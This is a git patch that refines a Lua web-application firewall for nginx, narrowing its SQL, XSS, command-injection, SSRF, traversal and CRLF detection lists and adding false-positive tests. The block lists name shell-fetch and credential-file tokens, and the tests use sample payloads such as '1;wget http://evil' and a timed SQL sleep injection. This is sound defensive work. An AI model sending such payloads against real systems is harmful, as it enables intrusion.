From ad6621fce9c3e1893f0b78572d2dc11f1c71e484 Mon Sep 17 00:00:00 2001
From: ryan <ryan@arctel.net>
Date: Sun, 19 Jul 2026 12:54:01 +0800
Subject: [PATCH] =?UTF-8?q?fix(waf):=20=E6=94=B6=E7=B4=A7=E5=AE=89?=
 =?UTF-8?q?=E5=85=A8=E9=98=B2=E6=8A=A4=E7=89=B9=E5=BE=81=EF=BC=8C=E9=99=8D?=
 =?UTF-8?q?=E4=BD=8E=E5=B8=B8=E8=A7=81=E6=AD=A3=E5=B8=B8=E8=AF=B7=E6=B1=82?=
 =?UTF-8?q?=E8=AF=AF=E4=BC=A4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- SSRF 仅匹配 URL 形态，避免 Chrome/x.0.0.0 误中
- 命令注入去掉裸 &&/|| 与裸 shell 名
- SQL sleep/benchmark 要求数字参数
- XSS javascript:/eval 要求更像代码的上下文
- 路径穿越去掉过宽的 c:\windows；CRLF 去掉单独 %0a/%0d
---
 internal/apps/agent/nginx/waf_runtime.lua     | 116 ++++++++++++++----
 .../apps/agent/nginx/waf_runtime_spec.lua     |  71 +++++++++++
 2 files changed, 165 insertions(+), 22 deletions(-)

diff --git a/internal/apps/agent/nginx/waf_runtime.lua b/internal/apps/agent/nginx/waf_runtime.lua
index e5586891..cee05b80 100644
--- a/internal/apps/agent/nginx/waf_runtime.lua
+++ b/internal/apps/agent/nginx/waf_runtime.lua
@@ -439,6 +439,72 @@ local function security_match_any(haystacks, patterns)
     return false
 end
 
+-- SQL sleep/benchmark: require digit arg to avoid product names like sleep(better).
+local function security_match_sql_timed(haystacks)
+    for _, hay in ipairs(haystacks) do
+        if type(hay) == "string" and hay ~= "" then
+            if string.find(hay, "sleep(%d", 1, true) or string.find(hay, "benchmark(%d", 1, true) then
+                return true
+            end
+            -- Also accept sleep( 1 ) with optional spaces: sleep( + digit
+            local i = 1
+            while true do
+                local s, e = string.find(hay, "sleep(", i, true)
+                if not s then break end
+                local rest = string.sub(hay, e + 1)
+                if string.match(rest, "^%s*%d") then return true end
+                i = e + 1
+            end
+            i = 1
+            while true do
+                local s, e = string.find(hay, "benchmark(", i, true)
+                if not s then break end
+                local rest = string.sub(hay, e + 1)
+                if string.match(rest, "^%s*%d") then return true end
+                i = e + 1
+            end
+        end
+    end
+    return false
+end
+
+-- XSS: tag/event handlers and URI schemes; skip prose like "javascript: the good parts".
+local function security_match_xss(haystacks)
+    local tag_like = { "<script", "<iframe", "onerror=", "onload=", "onmouseover=", "document.cookie" }
+    for _, hay in ipairs(haystacks) do
+        if type(hay) == "string" and hay ~= "" then
+            for _, pattern in ipairs(tag_like) do
+                if string.find(hay, pattern, 1, true) then return true end
+            end
+            -- javascript: as URI scheme with code-like body (alert/void/'/") not prose titles.
+            local i = 1
+            while true do
+                local s, e = string.find(hay, "javascript:", i, true)
+                if not s then break end
+                local prev_ok = (s == 1) or string.match(string.sub(hay, s - 1, s - 1), "[=\"'(<;,]")
+                if prev_ok then
+                    local rest = string.sub(hay, e + 1)
+                    if string.match(rest, "^%s*[\"'`(]")
+                        or string.match(rest, "^%s*alert%s*%(")
+                        or string.match(rest, "^%s*void%s*%(")
+                        or string.match(rest, "^%s*eval%s*%(")
+                        or string.match(rest, "^%s*window%.")
+                        or string.match(rest, "^%s*document%.") then
+                        return true
+                    end
+                end
+                i = e + 1
+            end
+            if string.find(hay, "eval(", 1, true) then
+                local _, e = string.find(hay, "eval(", 1, true)
+                local rest = string.sub(hay, e + 1)
+                if string.match(rest, "^%s*[\"'`(]") then return true end
+            end
+        end
+    end
+    return false
+end
+
 local function security_append_decoded(list, value)
     if type(value) ~= "string" or value == "" then return end
     local once, twice = security_decode(value)
@@ -492,40 +558,36 @@ local function security_read_body()
 end
 
 local path_traversal_patterns = {
-    "../", "..\\", "..%2f", "..%5c", "%2e%2e", "%252e", "....//",
-    "/etc/passwd", "c:\\windows",
+    "../", "..\\", "..%2f", "..%5c", "%2e%2e/", "%2e%2e\\", "%252e%252e",
+    "....//", "/etc/passwd",
 }
 local file_inclusion_patterns = {
-    "php://", "file://", "zip://", "data://", "expect://", "/etc/passwd",
-    "proc/self", "%00",
-}
-local sql_patterns = {
-    "union select", " or 1=1", "' or '", "\" or \"", "sleep(", "benchmark(",
-    "information_schema", "xp_cmdshell", "load_file(", " into outfile",
-    -- Avoid bare "/*" / "*/": they match normal Accept: */* headers.
-    "/**/", "/*!", "*/--", "@@version",
+    "php://", "file://", "zip://", "data://text", "expect://", "/etc/passwd",
+    "/proc/self", "%00",
 }
+-- Prefer attack-shaped tokens; avoid bare "&&"/"||" and bare shell names.
 local command_patterns = {
-    ";wget", ";curl", "|bash", "|sh", "`id`", "$(id)", "&&", "||",
-    "/bin/sh", "/bin/bash", "powershell", "cmd.exe",
-}
-local xss_patterns = {
-    "<script", "javascript:", "onerror=", "onload=", "onmouseover=",
-    "<iframe", "document.cookie", "eval(",
+    ";wget", ";curl", ";bash", ";sh ", "|bash", "|sh ", "|sh\t", "`id`", "$(id)",
+    "&&wget", "&&curl", "&&bash", "&&sh ", "||wget", "||curl", "||bash",
+    "/bin/sh ", "/bin/bash ", "cmd.exe /c", "powershell -", "powershell.exe",
 }
+-- URL-shaped only: bare "localhost"/"0.0.0.0" match Chrome UA / normal text.
 local ssrf_patterns = {
-    "127.0.0.1", "localhost", "0.0.0.0", "169.254.", "[::1]",
-    "file://", "gopher://", "dict://", "metadata.google",
+    "http://127.0.0.1", "https://127.0.0.1", "http://localhost", "https://localhost",
+    "http://0.0.0.0", "https://0.0.0.0", "http://[::1]", "https://[::1]",
+    "://169.254.", "169.254.169.254", "metadata.google",
+    "file://", "gopher://", "dict://",
 }
 local upload_patterns = {
     ".php.", ".jsp.", ".asp.", ".aspx.", ".phtml", ".phar",
     "application/x-php", "application/x-httpd-php",
 }
 local xxe_patterns = {
-    "<!entity", " system ", "public ", "file://",
+    "<!entity", " system \"", " system '", "file://",
 }
+-- Keep encoded CRLF; bare %0a alone is too common in benign encoded text.
 local crlf_patterns = {
-    "%0d%0a", "%0d", "%0a", "\r\n",
+    "%0d%0a", "\r\n",
 }
 
 local function security_flag_enabled(value)
@@ -573,9 +635,19 @@ local function matches_security_check(config)
 
     if path_traversal and security_match_any(pq, path_traversal_patterns) then return false end
     if file_inclusion and security_match_any(pq, file_inclusion_patterns) then return false end
-    if sql_injection and security_match_any(qhb, sql_patterns) then return false end
+    if sql_injection then
+        -- Exclude sleep(/benchmark( bare tokens; use timed helper + other patterns.
+        local sql_static = {
+            "union select", " or 1=1", "' or '", "\" or \"",
+            "information_schema", "xp_cmdshell", "load_file(", " into outfile",
+            "/**/", "/*!", "*/--", "@@version",
+        }
+        if security_match_any(qhb, sql_static) or security_match_sql_timed(qhb) then
+            return false
+        end
+    end
     if command_injection and security_match_any(qhb, command_patterns) then return false end
-    if xss and security_match_any(qhb, xss_patterns) then return false end
+    if xss and security_match_xss(qhb) then return false end
     if ssrf and security_match_any(qhb, ssrf_patterns) then return false end
     if crlf_injection and security_match_any(qhb, crlf_patterns) then return false end
 
diff --git a/internal/apps/agent/nginx/waf_runtime_spec.lua b/internal/apps/agent/nginx/waf_runtime_spec.lua
index 5a28ff7a..4a4518f4 100644
--- a/internal/apps/agent/nginx/waf_runtime_spec.lua
+++ b/internal/apps/agent/nginx/waf_runtime_spec.lua
@@ -734,6 +734,77 @@ local function test_security_check_path_and_sql()
     assert_equal(err, nil, "sql execute err")
     assert_equal(decision and decision.kind or "nil", "block", "sql should block")
 
+    -- False-positive guards
+    assert_equal(
+        runtime.debug_security_check({ ssrf = true }),
+        true,
+        "Chrome-like path alone must not trip SSRF"
+    )
+    reset_request("sec-site", nil, "/")
+    ngx.req.get_headers = function()
+        return {
+            ["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
+            Accept = "*/*",
+        }
+    end
+    assert_equal(
+        runtime.debug_security_check({
+            sql_injection = true,
+            command_injection = true,
+            xss = true,
+            ssrf = true,
+            path_traversal = true,
+            file_inclusion = true,
+        }),
+        true,
+        "normal browser headers must pass security_check"
+    )
+    reset_request("sec-site", nil, "/")
+    ngx.req.get_uri_args = function()
+        return { name = "sleep(better)" }
+    end
+    assert_equal(runtime.debug_security_check({ sql_injection = true }), true, "sleep(word) must not trip SQL")
+    reset_request("sec-site", nil, "/")
+    ngx.req.get_uri_args = function()
+        return { theme = "dark||light" }
+    end
+    ngx.req.get_headers = function()
+        return { Cookie = "a=1&&b=2" }
+    end
+    assert_equal(runtime.debug_security_check({ command_injection = true }), true, "bare &&/|| must not trip command")
+    reset_request("sec-site", nil, "/")
+    ngx.req.get_uri_args = function()
+        return { q = "javascript: the good parts" }
+    end
+    assert_equal(runtime.debug_security_check({ xss = true }), true, "prose javascript: must not trip XSS")
+    reset_request("sec-site", nil, "/")
+    ngx.req.get_uri_args = function()
+        return { q = "1;wget http://evil" }
+    end
+    assert_equal(
+        runtime.debug_security_check({ command_injection = true }),
+        false,
+        "command injection payload should still block"
+    )
+    reset_request("sec-site", nil, "/")
+    ngx.req.get_uri_args = function()
+        return { u = "http://127.0.0.1/admin" }
+    end
+    assert_equal(
+        runtime.debug_security_check({ ssrf = true }),
+        false,
+        "URL-shaped localhost SSRF should block"
+    )
+    reset_request("sec-site", nil, "/")
+    ngx.req.get_uri_args = function()
+        return { q = "1' and sleep(5)--" }
+    end
+    assert_equal(
+        runtime.debug_security_check({ sql_injection = true }),
+        false,
+        "timed SQL sleep should block"
+    )
+
     runtime = load_runtime({
         rule_groups = { rule(1, false, security_graph({})) },
         bindings = { binding("sec-site", { 1 }) },